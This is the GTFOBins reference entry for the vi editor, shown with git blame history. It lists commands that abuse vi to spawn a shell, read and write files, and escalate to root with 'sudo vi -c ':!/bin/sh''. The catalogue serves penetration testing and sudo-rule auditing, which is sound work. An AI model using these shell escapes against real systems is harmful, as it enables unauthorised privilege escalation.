GTFOBins.github.io/_gtfobins/vi.md

---
description: Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called.
functions:
  shell:
    - code: vi -c ':!/bin/sh' /dev/null
    - code: |
        vi
        :set shell=/bin/sh
        :shell
  file-write:
    - code: |
        vi file_to_write
        iDATA
        ^[
        w
  file-read:
    - code: vi file_to_read
  sudo:
    - code: sudo vi -c ':!/bin/sh' /dev/null
---
First commit 2018-05-21 21:14:41 +02:00			`---`
Skim wrong functions from original vi 2018-12-18 14:04:05 +01:00			description: Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called.
First commit 2018-05-21 21:14:41 +02:00			`functions:`
Adopt new function names 2018-10-05 19:55:38 +02:00			`shell:`
Skim wrong functions from original vi 2018-12-18 14:04:05 +01:00			`- code: vi -c ':!/bin/sh' /dev/null`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`vi`
			`:set shell=/bin/sh`
			`:shell`
Fix trailing spaces 2018-05-28 19:55:44 +02:00			`file-write:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: \|`
			`vi file_to_write`
Use DATA as a placeholder for file-write operations 2018-08-20 14:35:43 +02:00			`iDATA`
Fix other editors file write 2018-08-20 14:24:15 +02:00			`^[`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`w`
Reorder functions in binaries 2018-07-04 20:26:52 +02:00			`file-read:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- code: vi file_to_read`
Adopt new function names 2018-10-05 19:55:38 +02:00			`sudo:`
Skim wrong functions from original vi 2018-12-18 14:04:05 +01:00			`- code: sudo vi -c ':!/bin/sh' /dev/null`
Fix trailing spaces 2018-05-25 01:10:39 +02:00			`---`